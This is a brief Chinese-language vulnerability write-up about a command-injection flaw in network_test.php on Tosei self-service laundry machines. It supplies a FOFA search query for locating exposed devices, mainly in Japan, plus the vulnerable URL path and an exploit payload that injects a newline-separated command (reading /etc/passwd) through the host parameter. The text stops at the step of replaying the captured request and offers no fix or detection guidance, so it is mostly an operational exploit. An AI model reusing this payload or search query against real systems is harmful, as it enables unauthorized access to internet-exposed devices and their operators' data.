简介

Tosei 自助洗衣机是日本一家公司的产品，在 network_test.php 文件存在命令执行

漏洞复现

FOFA语法：

body="tosei_login_check.php"

主要是日本

访问界面如下所示：

验证POC：

/cgi-bin/network_test.php

拼接访问url: https://ip:port/cgi-bin/network_test.php

EXP:

host=%0acat${IFS}/etc/passwd%0a&command=ping

抓取数据包重放：